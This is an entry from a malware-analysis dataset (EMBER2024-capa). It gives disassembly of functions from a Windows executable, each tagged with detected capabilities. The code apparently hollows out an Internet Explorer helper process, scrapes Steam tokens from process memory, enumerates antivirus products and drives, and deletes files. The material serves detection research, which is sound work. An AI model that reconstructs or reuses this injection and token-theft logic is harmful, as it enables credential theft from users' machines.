joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c63
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.0040e10b
lea eax, [ebp - 0xa4]
push eax
call fcn.00403b2f
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x41d1ea
lea ecx, [ebp - 0x1c]
call fcn.0040e0d4
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
call fcn.0040e2bd
push eax
call dword [0x638764]
push dword [0x627a14]
mov dword [ebp - 4], eax
push dword [ebp - 0x64]
xor esi, esi
call dword [0x638840]
test eax, eax
jne 0x404cd2
inc esi
cmp dword [ebp - 4], ebx
je 0x404e0a
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x50]
push dword [ebp - 0x58]
push dword [ebp - 4]
call dword [0x638864]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x404e01
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x627860]
push dword [ebp - 0x3c]
push 0x420284
push dword [ebp - 0x10]
call dword [0x6388a4]
mov edi, eax
cmp edi, ebx
je 0x404df8
cmp esi, ebx
je 0x404d4a
or dword [ebp - 8], 0x10300
push 4
lea eax, [ebp - 8]
push eax
push 0x1f
push edi
call dword [0x63865c]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x63882c]
push ebx
mov esi, eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x13
push edi
mov dword [ebp - 0x20], 0x100
call dword [0x6388bc]
test eax, eax
jne 0x404d89
mov ecx, dword [ebp + 8]
push str.ERROR
call fcn.0040e0d4
jmp 0x404e16
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f091
pop ecx
cmp eax, 0xc8
jne 0x404d77
cmp esi, ebx
je 0x404df1
mov esi, 0x7cf
jmp 0x404dda
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x404df1
mov byte [ebp + eax - 0x974], bl
lea eax, [ebp - 0x974]
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e22b
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e192
lea ecx, [ebp - 0x2c]
call fcn.0040e13f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x974]
push eax
push edi
call dword [0x63878c]
test eax, eax
jne 0x404da8
push edi
call dword [0x638760]
push dword [ebp - 0x10]
call dword [0x638760]
push dword [ebp - 4]
call dword [0x638760]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e10b
lea ecx, [ebp - 0x1c]
call fcn.0040e13f
lea ecx, [ebp + 0xc]
call fcn.0040e13f
lea ecx, [ebp + 0x18]
call fcn.0040e13f
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405df0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x405e0e
xor eax, eax
inc eax
jmp 0x405ea0
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x405e9d
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x405e9d
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x405e06
cmp dword [edi], 0x4550
jne 0x405e9d
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x405e9d
movzx eax, word [esi + 0x46]
test ax, ax
je 0x405e9d
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040f115
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x405e74
push 3
jmp 0x405e9f
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x405ea0
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x406486
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x4064c0
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x4064c0
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x4064c0
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.004063ea
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40d83f
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0xc], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40d904
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x60]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
xor edi, edi
push edi
push edi
push 4
push 1
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0x638710]
test eax, eax
je 0x40d902
push 4
push 0x1000
push 4
push edi
call dword [0x6387cc]
mov edi, eax
push edi
mov dword [edi], 0x10007
push dword [ebp - 0x18]
call dword [0x638868]
test eax, eax
je 0x40d902
push 0
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [0x63886c]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x1c]
call dword [0x6386b8]
mov dword [ebp - 8], eax
test eax, eax
jne 0x40d909
push dword [ebp - 0x18]
call dword [0x638880]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x1c]
call dword [0x6386c8]
and dword [ebp - 4], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40d960
and dword [ebp + 0xc], eax
mov eax, dword [ebx + 0x3c]
add eax, dword [ebp + 0xc]
push 0
lea eax, [eax + ebx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 8]
add ecx, ebx
push ecx
push eax
push dword [ebp - 0x1c]
call dword [0x6386c8]
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add dword [ebp + 0xc], 0x28
cmp dword [ebp - 4], eax
jl 0x40d928
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [0x6386c8]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 8]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x18]
call dword [0x63869c]
push dword [ebp - 0x18]
call dword [0x638880]
mov eax, dword [ebp - 0x14]
jmp 0x40d904
Function at 0x40de6b
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push esi
push edi
push 0x64000
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
push 0xf
pop edi
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
push 0x1fffff
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x40dec5
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], edi
push 0x41d1ea
mov dword [esi + 0x10], ebx
mov ecx, esi
mov byte [esi], bl
call fcn.0040ca2c
jmp 0x40e045
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040db67
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40df24
jmp 0x40dffa
cmp edx, ebx
ja 0x40df24
cmp eax, 0xffff
jbe 0x40df37
push ebx
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x254]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40df40
sub eax, edx
push eax
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040c996
cmp dword [ebp - 0x18], 0x12c
jbe 0x40dfa0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0040ddde
pop ecx
pop ecx
cmp dword [ebp - 0x3c], ebx
je 0x40df95
cmp dword [ebp - 0x3c], 0xa
jbe 0x40df95
push 6
push ebx
push str.N0ZWFt
lea ecx, [ebp - 0x28]
call fcn.0040dcc2
cmp eax, 0xffffffff
jne 0x40e020
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040c5c4
push 0x207
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 4]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x2c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 8]
call fcn.0040db67
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0xc], edi
mov edi, ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
cmp edx, ebx
ja 0x40df24
jb 0x40e002
cmp eax, ebx
ja 0x40df19
push dword [ebp - 4]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esp], 0x41d1ea
jmp 0x40deb4
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x28]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040ca77
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.0040c5c4
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040c5c4
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40edc4
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41c848
call sub.msvcrt.dll__EH_prolog
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x18]
push eax
push 0x421818
push 1
push esi
push 0x4218e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40ef2f
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x420828
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40ef2f
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40ef2b
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x24]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x20], esi
je 0x40ef2b
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x4c]
push edx
push esi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x44]
call fcn.0040ecfc
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0x638870]
push eax
call dword [0x638800]
mov esi, eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x32]
push eax
movzx eax, word [ebp - 0x34]
push eax
movzx eax, word [ebp - 0x3c]
push eax
movzx eax, word [ebp - 0x3a]
push eax
movzx eax, word [ebp - 0x36]
push eax
push 0x4207fc
push esi
call dword [0x638680]
add esp, 0x20
push esi
mov ecx, dword [ebp + 8]
call fcn.0040e0d4
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40ef3c
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e0d4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ef58
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41c852
call sub.msvcrt.dll__EH_prolog
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x18]
push eax
push 0x421818
push 1
push esi
push 0x4218e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f05f
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x14]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x420828
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f05f
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40f05b
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x24]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x20], esi
je 0x40f05b
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x34]
push edx
push esi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x2c]
call fcn.0040f280
pop ecx
push eax
mov ecx, dword [ebp + 8]
call fcn.0040e0d4
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f06c
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e0d4
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f867
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, 0x41d1ea
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 6], eax
lea eax, [ebp - 0x20]
mov edx, 0x414
push eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 3
mov word [ebp - 0x10], dx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x40fb50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
sub esp, 0xc
mov ecx, esp
mov esi, 0x41d1ea
push esi
call fcn.0040e0d4
sub esp, 0xc
lea eax, [ebp + 0x70]
mov ecx, esp
push eax
call fcn.0040e10b
call fcn.00404126
xor ebx, ebx
add esp, 0x18
mov edi, eax
mov dword [ebp - 4], edx
cmp dword [ebp + 0x7c], ebx
je 0x40fcce
push esi
lea ecx, [ebp - 0xc]
call fcn.0040e0d4
push str..exe
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x18]
push 6
push eax
call fcn.0040f176
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x48]
push eax
push 0x41d1e8
lea eax, [ebp - 0x30]
push eax
push dword [0x627a38]
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
mov ecx, eax
call fcn.0040e22b
mov ecx, eax
call fcn.0040e1d9
mov ecx, eax
call fcn.0040e22b
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x3c]
call fcn.0040e13f
lea ecx, [ebp - 0x48]
call fcn.0040e13f
lea ecx, [ebp - 0x30]
call fcn.0040e13f
lea ecx, [ebp - 0x24]
call fcn.0040e13f
lea ecx, [ebp - 0x18]
call fcn.0040e13f
push dword [0x426a38]
lea eax, [ebp - 0xc]
push 0x425038
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0040e10b
call fcn.0040f762
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x9c]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x20
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x420340
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e22b
mov ecx, eax
call fcn.0040e1d9
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e192
lea ecx, [ebp - 0x18]
call fcn.0040e13f
lea ecx, [ebp - 0x24]
call fcn.0040e13f
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x9c]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040e2bd
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [ebp - 0xc]
call fcn.0040e13f
xor ebx, ebx
inc ebx
lea ecx, [ebp + 8]
call fcn.004010a4
lea ecx, [ebp + 0x70]
call fcn.0040e13f
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
mov dword [ebp + 0x7c], ebx
push esi
push edi
push str.C:Program_Files__x86_Internet_Explorerielowutil.exe
call fcn.0040d83f
add esp, 0xc
cmp eax, ebx
ja 0x40fcb4
inc dword [ebp + 0x7c]
cmp dword [ebp + 0x7c], 0xa
jl 0x40fcd1
jmp 0x40fcb7
Function at 0x412375
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea ecx, [ebp - 0x44]
call fcn.0041140d
test byte [0x63861c], 1
mov eax, dword [ebp + 0x30]
je 0x412392
mov eax, dword [ebp + 0x34]
push ebx
push esi
mov dword [ebp - 0x44], eax
push edi
lea eax, [ebp + 0x74]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e192
mov eax, dword [ebp + 0x84]
mov ebx, dword [ebp + 0x80]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x38]
xor esi, esi
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.0040e192
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040e192
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040e192
mov edi, 0x3e8
jmp 0x4123f0
push edi
call dword [0x638698]
cmp dword [0x63861c], 2
jae 0x4123e9
inc dword [0x63861c]
cmp dword [0x638618], esi
je 0x412425
push dword [ebp + 0x84]
lea ecx, [ebp + 0x74]
push ebx
call fcn.0040e2bd
push eax
push dword [0x638620]
call fcn.004196bc
add esp, 0x10
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push 0x4112f7
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x41d1ea
call fcn.0040e0d4
lea ecx, [ebp - 0x44]
call fcn.00411434
lea ecx, [ebp + 0xc]
call fcn.004010a4
lea ecx, [ebp + 0x74]
call fcn.0040e13f
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413326
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push str._DRIVE_FIXED_
lea ecx, [ebp + 0x7c]
xor edi, edi
mov dword [ebp - 4], ebx
call fcn.0040e2bd
push eax
call dword [0x63879c]
xor esi, esi
inc esi
test eax, eax
je 0x413357
mov edi, esi
push ebx
push str._DRIVE_REMOVABLE_
lea ecx, [ebp + 0x7c]
call fcn.0040e2bd
push eax
call dword [0x63879c]
test eax, eax
je 0x413375
mov edi, esi
mov dword [ebp - 4], esi
cmp edi, ebx
je 0x413482
lea eax, [ebp - 0x68]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x68]
cmp byte [ebp - 0x68], bl
je 0x4134df
push 0x3e8
lea eax, [ebp - 0x450]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 4], ebx
je 0x4133d9
cmp eax, 2
jne 0x4133d9
lea ecx, [ebp + 0x7c]
call fcn.0040e2bd
push eax
lea eax, [ebp - 0x450]
push eax
call dword [0x6388b8]
push esi
push 0x420cdc
jmp 0x4133f5
lea ecx, [ebp + 0x7c]
call fcn.0040e2bd
push eax
lea eax, [ebp - 0x450]
push eax
call dword [0x6388b8]
push esi
push 0x420ccc
lea eax, [ebp - 0x450]
push eax
call fcn.0040f482
add esp, 0xc
push eax
lea eax, [ebp - 0x450]
push eax
call dword [0x6388b8]
push ebx
push dword [ebp + 0xa0]
lea ecx, [ebp + 0x88]
push edi
push dword [ebp + 0x98]
push ebx
push dword [ebp + 0x94]
call fcn.0040e2bd
push eax
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp + 0x70]
call fcn.0040e2bd
push eax
push 0x41d1ea
lea ecx, [ebp + 0xa4]
call fcn.0040e2bd
push eax
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00412f4a
add esp, 0x94
push esi
call dword [0x638724]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x413395
jmp 0x4134df
push ebx
push dword [ebp + 0xa0]
lea ecx, [ebp + 0x88]
push ebx
push dword [ebp + 0x98]
push ebx
push dword [ebp + 0x94]
call fcn.0040e2bd
push eax
lea ecx, [ebp + 0x7c]
call fcn.0040e2bd
push eax
lea ecx, [ebp + 0x70]
call fcn.0040e2bd
push eax
push 0x41d1ea
lea ecx, [ebp + 0xa4]
call fcn.0040e2bd
push eax
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004010c7
call fcn.00412f4a
add esp, 0x94
mov eax, dword [ebp + 0xb0]
lea ecx, [ebp + 8]
mov dword [eax], ebx
call fcn.004010a4
lea ecx, [ebp + 0x70]
call fcn.00410e46
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4151e1
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x41732c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x41733a
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
not eax
mov ecx, 0xff
cmp edi, 8
jb 0x4173f5
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 1]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 2]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 3]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 4]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 5]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 6]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
movzx ebx, byte [edx + 7]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x421070]
add edx, 8
sub edi, 8
dec esi
jne 0x417358
pop ebx
test edi, edi
je 0x41740e
movzx esi, byte [edx]
xor esi, eax
and esi, ecx
shr eax, 8
xor eax, dword [esi*4 + 0x421070]
inc edx
dec edi
jne 0x4173f9
pop edi
not eax
pop esi
pop ebp
ret

Function at 0x417414
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
movsx edx, byte [ebp + 0xc]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x421070]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x421070]
pop esi
mov dword [ecx + 8], eax
pop ebp
ret